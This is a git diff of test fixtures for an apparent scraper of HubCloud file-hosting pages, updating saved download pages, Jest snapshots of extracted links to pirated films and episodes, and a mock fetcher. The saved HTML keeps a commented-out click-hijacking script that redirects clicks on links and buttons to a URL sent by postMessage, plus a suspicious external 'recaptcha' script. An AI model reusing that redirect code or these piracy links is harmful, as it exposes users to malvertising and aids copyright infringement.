</script>
|
||||
|
||||
<!--<script async src="https://greenanalytics.autos/recaptcha/v4_enc.js"></script>-->
|
||||
|
||||
<!--<script>let s__=!1,observer=null;const sc_="a, button";function opst(e){if(!s__)return;e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r=document.querySelectorAll(sc_);r.forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){let e=document.querySelectorAll(sc_);e.forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){}},!1);-->
|
||||
<!--</script>-->
|
||||
|
||||
|
|
@ -217,7 +217,7 @@ HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="http
|
|||
|
||||
|
||||
|
||||
<a id="download" href="https://stockbhoomi.com/hubcloud.php?host=hubcloud&id=bffzqlpqfllfcld&token=ZDdhbnhoS3dXSzlGOGhnN3ErdTUxUWJhR3Q3UGxaTElRQjFnWVNObGdyZz0=" rel="noopener noreferrer nofollow" class="btn btn-primary h6 p-2"><i class="fas fa-file-download fa-lg"></i> Generate Direct Download Link</a>
|
||||
<a id="download" href="https://gamerxyt.com/hubcloud.php?host=hubcloud&id=bffzqlpqfllfcld&token=ZDdhbnhoS3dXSzlGOGhnN3ErdTUxVGpNRHpBR2lCakE1ZHJUTlcvUTlaTT0=" rel="noopener noreferrer nofollow" class="btn btn-primary h6 p-2"><i class="fas fa-file-download fa-lg"></i> Generate Direct Download Link</a>
|
||||
|
||||
|
||||
<center>
|
||||
|
|
@ -248,7 +248,7 @@ HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="http
|
|||
<p><b>Note:</b> <i> Always Use Updated Chrome Browser With Cookies Enabled .</i>| Refresh this Page & click Download again if you get any error.</i> ! Resume is Supported-Enjoy :)</p>
|
||||
</div>
|
||||
<div class="alert alert-info" role="alert">
|
||||
<p>If you're getting any error please report at <a href="https://t.me/sumitbotreport">@Telegram Group</a> with Share Link And Screenshot (:</p>
|
||||
<p>If you're getting any error please report at <a href="https://t.me/hubcloudreport">@Telegram Group</a> with Share Link And Screenshot (:</p>
|
||||
</div>
|
||||
<hr>
|
||||
|
||||
|
|
@ -280,7 +280,7 @@ setTimeout(function(){
|
|||
document.querySelector(".loading").classList.add("d-none");
|
||||
document.querySelector(".vd").classList.remove("d-none");
|
||||
}, 2000);
|
||||
var url = 'https://stockbhoomi.com/hubcloud.php?host=hubcloud&id=bffzqlpqfllfcld&token=ZDdhbnhoS3dXSzlGOGhnN3ErdTUxUWJhR3Q3UGxaTElRQjFnWVNObGdyZz0=';
|
||||
var url = 'https://gamerxyt.com/hubcloud.php?host=hubcloud&id=bffzqlpqfllfcld&token=ZDdhbnhoS3dXSzlGOGhnN3ErdTUxVGpNRHpBR2lCakE1ZHJUTlcvUTlaTT0=';
|
||||
|
||||
var download = document.getElementById('download');
|
||||
download.onclick = function() {
|
||||
|
|
|
|||
|
|
@ -217,7 +217,7 @@ HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="http
|
|||
|
||||
|
||||
|
||||
<a id="download" href="https://stockbhoomi.com/hubcloud.php?host=hubcloud&id=idt1evqfuviqiei&token=RUhXL2kvWnI3MmtFTTlyc1VGY2JSR2FsTnZCdkd0NFN5aUpPN1V0NHRSaz0=" rel="noopener noreferrer nofollow" class="btn btn-primary h6 p-2"><i class="fas fa-file-download fa-lg"></i> Generate Direct Download Link</a>
|
||||
<a id="download" href="https://gamerxyt.com/hubcloud.php?host=hubcloud&id=idt1evqfuviqiei&token=RUhXL2kvWnI3MmtFTTlyc1VGY2JSUHJiRlcvSTBwOG9HNWFOa2tiMWVxMD0=" rel="noopener noreferrer nofollow" class="btn btn-primary h6 p-2"><i class="fas fa-file-download fa-lg"></i> Generate Direct Download Link</a>
|
||||
|
||||
|
||||
<center>
|
||||
|
|
@ -248,7 +248,7 @@ HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="http
|
|||
<p><b>Note:</b> <i> Always Use Updated Chrome Browser With Cookies Enabled .</i>| Refresh this Page & click Download again if you get any error.</i> ! Resume is Supported-Enjoy :)</p>
|
||||
</div>
|
||||
<div class="alert alert-info" role="alert">
|
||||
<p>If you're getting any error please report at <a href="https://t.me/sumitbotreport">@Telegram Group</a> with Share Link And Screenshot (:</p>
|
||||
<p>If you're getting any error please report at <a href="https://t.me/hubcloudreport">@Telegram Group</a> with Share Link And Screenshot (:</p>
|
||||
</div>
|
||||
<hr>
|
||||
|
||||
|
|
@ -280,7 +280,7 @@ setTimeout(function(){
|
|||
document.querySelector(".loading").classList.add("d-none");
|
||||
document.querySelector(".vd").classList.remove("d-none");
|
||||
}, 2000);
|
||||
var url = 'https://stockbhoomi.com/hubcloud.php?host=hubcloud&id=idt1evqfuviqiei&token=RUhXL2kvWnI3MmtFTTlyc1VGY2JSR2FsTnZCdkd0NFN5aUpPN1V0NHRSaz0=';
|
||||
var url = 'https://gamerxyt.com/hubcloud.php?host=hubcloud&id=idt1evqfuviqiei&token=RUhXL2kvWnI3MmtFTTlyc1VGY2JSUHJiRlcvSTBwOG9HNWFOa2tiMWVxMD0=';
|
||||
|
||||
var download = document.getElementById('download');
|
||||
download.onclick = function() {
|
||||
|
|
|
|||
|
|
@ -217,7 +217,7 @@ HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="http
|
|||
|
||||
|
||||
|
||||
<a id="download" href="https://stockbhoomi.com/hubcloud.php?host=hubcloud&id=nknlofk8snfnknh&token=eWJLS25YL0hUektLS0k0a3htWVJzeWVoZm85QS9CaENJTnBXdVlOakd0bz0=" rel="noopener noreferrer nofollow" class="btn btn-primary h6 p-2"><i class="fas fa-file-download fa-lg"></i> Generate Direct Download Link</a>
|
||||
<a id="download" href="https://gamerxyt.com/hubcloud.php?host=hubcloud&id=nknlofk8snfnknh&token=eWJLS25YL0hUektLS0k0a3htWVJzOEFuVnVvTHVEKzJ4eCtPUFBuUkRQRT0=" rel="noopener noreferrer nofollow" class="btn btn-primary h6 p-2"><i class="fas fa-file-download fa-lg"></i> Generate Direct Download Link</a>
|
||||
|
||||
|
||||
<center>
|
||||
|
|
@ -228,7 +228,7 @@ HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="http
|
|||
|
||||
|
||||
|
||||
<a href="https://www-google-com.cdn.ampproject.org/c/s/bloggingvector.shop/foo/aHR0cHM6Ly93d3ctZ29vZ2xlLWNvbS5jZG4uYW1wcHJvamVjdC5vcmcvYy9zL25ld3NvbmdzLmNvLmluL2dvP2lkPTNPZnAzZHl1b3FUaHp1RFkzTi9LNGFIWjNOQ2p1K3JQek9EaTZ0SGgyTlhrNGFqbjU5YmYzYkhEeXJQYXlNdmx0OHJmcEt2R21zYkN3cDIvcXNxOTFiL0t1S3FpeXFianhNZlV2cmpKMjlXNjJPQ2htc2pMNWJ6T3ljbTZ3Y0hZdWN1eTRMRT0=" target="_blank" rel="noopener noreferrer nofollow" class="btn btn-primary h5 p-2" id="tgbtn" style="margin-top: 11px;"><i class="fab fa-telegram fa-lg"></i></i> Download From Telegram</a>
|
||||
<a href="https://www-google-com.cdn.ampproject.org/c/s/bloggingvector.shop/foo/aHR0cHM6Ly93d3ctZ29vZ2xlLWNvbS5jZG4uYW1wcHJvamVjdC5vcmcvYy9zL25ld3NvbmdzLmNvLmluL2dvP2lkPTNPZnAzZHl1b3FUaHp1RFkzTi9LNGFIWjNOQ2p1K3JQek9EaTZ0SGgyTlhrNGFqbjU5YmYzYkhEeTltdXlNZTd3OHJmcEtqSG1zYkN3cDIvcXNxOTFiL0t1S3FpeXFianhNZlV2cmpKMjlXNjJPQ2htc2pMNWJ6T3ljbTZ3Y0hZdWN1eTRMRT0=" target="_blank" rel="noopener noreferrer nofollow" class="btn btn-primary h5 p-2" id="tgbtn" style="margin-top: 11px;"><i class="fab fa-telegram fa-lg"></i></i> Download From Telegram</a>
|
||||
|
||||
|
||||
</div>
|
||||
|
|
@ -249,7 +249,7 @@ HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="http
|
|||
<p><b>Note:</b> <i> Always Use Updated Chrome Browser With Cookies Enabled .</i>| Refresh this Page & click Download again if you get any error.</i> ! Resume is Supported-Enjoy :)</p>
|
||||
</div>
|
||||
<div class="alert alert-info" role="alert">
|
||||
<p>If you're getting any error please report at <a href="https://t.me/sumitbotreport">@Telegram Group</a> with Share Link And Screenshot (:</p>
|
||||
<p>If you're getting any error please report at <a href="https://t.me/hubcloudreport">@Telegram Group</a> with Share Link And Screenshot (:</p>
|
||||
</div>
|
||||
<hr>
|
||||
|
||||
|
|
@ -281,7 +281,7 @@ setTimeout(function(){
|
|||
document.querySelector(".loading").classList.add("d-none");
|
||||
document.querySelector(".vd").classList.remove("d-none");
|
||||
}, 2000);
|
||||
var url = 'https://stockbhoomi.com/hubcloud.php?host=hubcloud&id=nknlofk8snfnknh&token=eWJLS25YL0hUektLS0k0a3htWVJzeWVoZm85QS9CaENJTnBXdVlOakd0bz0=';
|
||||
var url = 'https://gamerxyt.com/hubcloud.php?host=hubcloud&id=nknlofk8snfnknh&token=eWJLS25YL0hUektLS0k0a3htWVJzOEFuVnVvTHVEKzJ4eCtPUFBuUkRQRT0=';
|
||||
|
||||
var download = document.getElementById('download');
|
||||
download.onclick = function() {
|
||||
|
|
|
|||
|
|
@ -1,21 +1,6 @@
|
|||
// Jest Snapshot v1, https://jestjs.io/docs/snapshot-testing
|
||||
|
||||
exports[`HubCloud handle crayon shin-chan 1993 1`] = `
|
||||
[
|
||||
{
|
||||
"format": "unknown",
|
||||
"label": "HubCloud (FSL)",
|
||||
"meta": {
|
||||
"bytes": 28550795100,
|
||||
"countryCodes": [],
|
||||
"title": "Crayon Shinchan Action Kamen vs Demon (1993) 1080p BluRay REMUX AVC [Hindi DD 2.0 + Japanese FLAC 2.0] (PitiPati-Ionicboy) (4kHDHub.com).mkv",
|
||||
},
|
||||
"sourceId": "hubcloud_fsl",
|
||||
"ttl": 259200000,
|
||||
"url": "https://pub-52f57cc1b81f4ecdac02802c1566c33d.r2.dev/Crayon%20Shinchan%20Action%20Kamen%20vs%20Demon%201993%201080p%20BluRay%20REMUX%20AVC%20[Hindi%20DD%202.0%20+%20Japanese%20FLAC%202.0]%20PitiPati-Ionicboy%204kHDHub.com.mkv?token=1757269247",
|
||||
},
|
||||
]
|
||||
`;
|
||||
exports[`HubCloud handle crayon shin-chan 1993 1`] = `[]`;
|
||||
|
||||
exports[`HubCloud handle dark 2017 s03e08 1`] = `
|
||||
[
|
||||
|
|
@ -48,18 +33,6 @@ exports[`HubCloud handle dark 2017 s03e08 1`] = `
|
|||
|
||||
exports[`HubCloud handle dexter original sin 2024 s01e01 1`] = `
|
||||
[
|
||||
{
|
||||
"format": "unknown",
|
||||
"label": "HubCloud (FSL)",
|
||||
"meta": {
|
||||
"bytes": 5733781340,
|
||||
"countryCodes": [],
|
||||
"title": "Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv",
|
||||
},
|
||||
"sourceId": "hubcloud_fsl",
|
||||
"ttl": 259200000,
|
||||
"url": "https://pub-52f57cc1b81f4ecdac02802c1566c33d.r2.dev/Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv?token=1757321957",
|
||||
},
|
||||
{
|
||||
"format": "unknown",
|
||||
"label": "HubCloud (PixelServer)",
|
||||
|
|
|
|||
|
|
@ -37,7 +37,7 @@ export class FetcherMock extends Fetcher {
|
|||
};
|
||||
|
||||
private readonly slugifyUrl = (url: URL): string => {
|
||||
if (url.href.length > 255) {
|
||||
if (url.href.length > 240) {
|
||||
return slugify(`${url.origin}-${crypto.createHash('md5').update(url.href).digest('hex')}`);
|
||||
}
|
||||
|
||||
|
|
|
|||
Loading…
Reference in a new issue